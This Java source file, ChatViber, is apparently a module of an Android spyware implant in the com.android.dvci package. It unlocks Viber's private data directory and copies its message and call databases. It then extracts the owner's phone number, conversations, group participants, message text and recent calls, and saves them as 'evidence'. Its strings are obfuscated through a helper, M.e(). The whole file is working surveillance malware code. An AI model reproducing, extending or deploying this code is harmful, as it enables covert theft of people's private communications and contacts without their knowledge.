package com.android.dvci.module.chat;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.ArrayList;
import java.util.Date;
import java.util.Hashtable;
import java.util.List;
import java.util.concurrent.Semaphore;

import android.database.Cursor;


import com.android.dvci.auto.Cfg;
import com.android.dvci.db.GenericSqliteHelper;
import com.android.dvci.db.RecordVisitor;
import com.android.dvci.file.Path;
import com.android.dvci.module.ModuleAddressBook;
import com.android.dvci.module.call.CallInfo;
import com.android.dvci.util.Check;
import com.android.dvci.util.StringUtils;
import com.android.mm.M;

public class ChatViber extends SubModuleChat {
	private static final String TAG = "ChatViber";

	private static final int PROGRAM = 0x09;
	String pObserving = M.e("com.viber.voip");

	static String dbDir = M.e("/data/data/com.viber.voip/databases");
	static String dbChatFile = M.e("viber_messages");
	static String dbCallFile = M.e("viber_data");

	private Long lastViberReadDate;
	Semaphore readChatSemaphore = new Semaphore(1, true);

	ChatGroups groups = new ChatViberGroups();
	Hashtable<String, Integer> hastableConversationLastIndex = new Hashtable<String, Integer>();

	private String account;

	@Override
	public int getProgramId() {
		return PROGRAM;
	}

	@Override
	public String getObservingProgram() {
		return pObserving;
	}

	@Override
	void notifyStopProgram(String processName) {
		readViberMessageHistory();
	}

	@Override
	protected void start() {
		lastViberReadDate = markup.unserialize(new Long(0));

		account = readAccount();
		if (account != null) {
			ModuleAddressBook.createEvidenceLocal(ModuleAddressBook.VIBER, account);
			readViberMessageHistory();
		}

		if (Cfg.DEBUG) {
			Check.log(TAG + " (start), read lastViber: " + lastViberReadDate);
		}
	}

	public static String readAccount() {
		String number = null;
		String file = M.e("/data/data/com.viber.voip/files/preferences/reg_viber_phone_num");

		if (Path.unprotect(file, 4, false)) {
			FileInputStream fileInputStream;
			try {
				fileInputStream = new FileInputStream(file);
				ObjectInputStream oInputStream = new ObjectInputStream(fileInputStream);
				Object one = oInputStream.readObject();
				number = (String) one;

			} catch (Exception e) {
				if (Cfg.DEBUG) {
					e.printStackTrace();
					Check.log(TAG + " (readMyPhoneNumber) Error: " + e);
				}
			}
		}

		if (Cfg.DEBUG) {
			Check.log(TAG + " (readMyPhoneNumber): %s", number);
		}
		return number;
	}

	@Override
	protected void stop() {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (stop), ");
		}
	}

	private void readViberMessageHistory() {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (readViberMessageHistory)");
		}

		if (!readChatSemaphore.tryAcquire()) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (readViberMessageHistory), semaphore red");
			}
			return;
		}

		try {
			boolean updateMarkup = false;

			GenericSqliteHelper helper = openViberDBHelperChat();
			if (helper == null) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (readChatMessages) Error, file not readable: " + dbChatFile);
				}
				return;
			}
			try {
				// SQLiteDatabase db = helper.getReadableDatabase();

				groups = new ChatViberGroups();

				long newViberReadDate = 0;
				List<ViberConversation> conversations = getViberConversations(helper, account, lastViberReadDate);
				for (ViberConversation sc : conversations) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (readViberMessageHistory) conversation: " + sc.id + " date: " + sc.date);
					}

					// retrieves the lastConvId recorded as evidence for this
					// conversation
					String thread = Long.toString(sc.id);

					if (sc.isGroup() && !groups.hasMemoizedGroup(thread)) {
						fetchParticipants(helper, thread);
						groups.addPeerToGroup(thread, account);
					}

					long lastReadId = fetchMessages(helper, sc, lastViberReadDate);
					newViberReadDate = Math.max(newViberReadDate, lastReadId);

				}
				if (newViberReadDate > 0) {
					lastViberReadDate = newViberReadDate;
					updateMarkupViber(lastViberReadDate, true);
				}
			}finally {
				helper.disposeDb();
			}

		} catch (Exception ex) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (readViberMessageHistory) Error: ", ex);
			}
		} finally {
			readChatSemaphore.release();
		}
	}

	public static GenericSqliteHelper openViberDBHelperCall() {
		return GenericSqliteHelper.openCopy(dbDir, dbCallFile);
	}
	
	public static GenericSqliteHelper openViberDBHelperChat() {
		return GenericSqliteHelper.openCopy(dbDir, dbChatFile);
	}

	private List<ViberConversation> getViberConversations(GenericSqliteHelper helper, final String account,
			Long lastViberReadDate) {

		final List<ViberConversation> conversations = new ArrayList<ViberConversation>();

		String[] projection = new String[] { M.e("_id"), M.e("date"), M.e("recipient_number"), M.e("conversation_type") };
		String selection = "date > " + lastViberReadDate;

		RecordVisitor visitor = new RecordVisitor(projection, selection) {

			@Override
			public long cursor(Cursor cursor) {
				ViberConversation c = new ViberConversation();
				c.account = account;

				c.id = cursor.getLong(0);
				c.date = cursor.getLong(1);
				c.remote = cursor.getString(2);
				c.group = cursor.getInt(3) == 1;

				conversations.add(c);
				return c.id;
			}
		};

		helper.traverseRecords(M.e("conversations"), visitor);

		return conversations;
	}

	// fetch participants.
	private void fetchParticipants(GenericSqliteHelper helper, final String thread_id) {

		if (Cfg.DEBUG) {
			Check.log(TAG + " (fetchParticipants) : " + thread_id);
		}

		RecordVisitor visitor = new RecordVisitor() {

			@Override
			public long cursor(Cursor cursor) {
				Long id = cursor.getLong(0);
				String number = cursor.getString(1);
				String name = cursor.getString(2);
				String display_name = cursor.getString(3);
				boolean itsme = cursor.getInt(4) == 0;

				Contact contact;

				if (itsme) {
					contact = new Contact(Long.toString(id), account, "", "");
				} else {
					contact = new Contact(Long.toString(id), number, name, display_name);
				}

				if (Cfg.DEBUG) {
					Check.log(TAG + " (fetchParticipants) %s", contact);
				}

				if (number != null) {
					groups.addPeerToGroup(thread_id, contact);
				}
				return 0;
			}
		};

		String sqlquery = M.e("SELECT P._id,  I.number, I.display_name, I.contact_name, I.participant_type from participants as P join participants_info as I on P.participant_info_id = I._id where conversation_id = ?");
		helper.traverseRawQuery(sqlquery, new String[] { thread_id }, visitor);

	}

	private long fetchMessages(GenericSqliteHelper helper, final ViberConversation conversation, long lastConvId) {

		// select author, body_xml from Messages where convo_id == 118 and id >=
		// 101 and body_xml != ''
		try {
			final ArrayList<MessageChat> messages = new ArrayList<MessageChat>();

			String[] projection = new String[] { M.e("_id"), M.e("participant_id"), M.e("body"), M.e("date"),
					M.e("address"), M.e("type") };
			String selection = M.e("conversation_id = ") + conversation.id + M.e(" and date > ") + lastConvId;
			String order = "date";
			RecordVisitor visitor = new RecordVisitor(projection, selection, order) {

				@Override
				public long cursor(Cursor cursor) {
					// I read a line in a conversation.
					int id = cursor.getInt(0);
					String peer = cursor.getString(1);
					String body = cursor.getString(2);
					long timestamp = cursor.getLong(3);
					String address = cursor.getString(4);
					boolean incoming = cursor.getInt(5) == 0;

					// localtime or gmt? should be converted to gmt
					Date date = new Date(timestamp);

					if (Cfg.DEBUG) {
						Check.log(TAG + " (cursor) peer: " + peer + " timestamp: " + timestamp + " incoming: "
								+ incoming);
					}

					boolean isGroup = conversation.isGroup();

					if (Cfg.DEBUG) {
						Check.log(TAG + " (cursor) incoming: " + incoming + " group: " + isGroup);
					}

					String from, to = null;
					String fromDisplay, toDisplay = null;

					from = incoming ? address : conversation.account;
					fromDisplay = incoming ? address : conversation.account;

					Contact contact = groups.getContact(peer);
					String thread = Long.toString(conversation.id);
					if (isGroup) {
						// if (peer.equals("0")) {
						// peer = conversation.account;
						// }
						to = groups.getGroupToName(from, thread);
						toDisplay = to;
					} else {
						to = incoming ? conversation.account : conversation.remote;
						toDisplay = incoming ? conversation.account : conversation.remote;
					}

					if (!StringUtils.isEmpty(body)) {
						MessageChat message = new MessageChat(getProgramId(), date, from, fromDisplay, to, toDisplay,
								body, incoming);

						if (Cfg.DEBUG) {
							Check.log(TAG + " (cursor) message: " + message.from + " "
									+ (message.incoming ? "<-" : "->") + " " + message.to + " : " + message.body);
						}
						messages.add(message);
					}

					return timestamp;
				}
			};

			long newLastId = helper.traverseRecords(M.e("messages"), visitor);

			if (messages != null && messages.size() > 0) {
				saveEvidence(messages);
			}

			return newLastId;
		} catch (Exception e) {
			if (Cfg.DEBUG) {
				e.printStackTrace();
				Check.log(TAG + " (fetchMessages) Error: " + e);
			}
			return -1;
		}
	}

	private void updateMarkupViber(long newLastId, boolean serialize) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (updateMarkupViber),  +lastId: " + newLastId);
		}

		try {
			markup.writeMarkupSerializable(newLastId);

			Long verify = markup.unserialize(new Long(0));
			if (!lastViberReadDate.equals(verify)) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (updateMarkupViber) Error: failed");
				}
			}

		} catch (IOException e) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (updateMarkupViber) Error: " + e);
			}
		}
	}

	public void saveEvidence(ArrayList<MessageChat> messages) {
		getModule().saveEvidence(messages);
	}

	public static boolean getCurrentCall(GenericSqliteHelper helper, final CallInfo callInfo) {
		String sqlQuery = M.e("select _id,number,date,type  from calls order by _id desc limit 1");

		RecordVisitor visitor = new RecordVisitor() {

			@Override
			public long cursor(Cursor cursor) {
				callInfo.id = cursor.getInt(0);
				callInfo.peer = cursor.getString(1);
				// callInfo.displayName = String sqlQuery;
				callInfo.timestamp = new Date(cursor.getLong(2));
				int type = cursor.getInt(3);
				if (Cfg.DEBUG) {
					Check.log(TAG + " (cursor) call type: " + type);
				}
				callInfo.incoming = type == 1;
				callInfo.valid = true;

				return callInfo.id;
			}
		};

		helper.traverseRawQuery(sqlQuery, new String[] {}, visitor);
		return callInfo.valid;
	}

	public class ChatViberGroups extends ChatGroups {
	}
}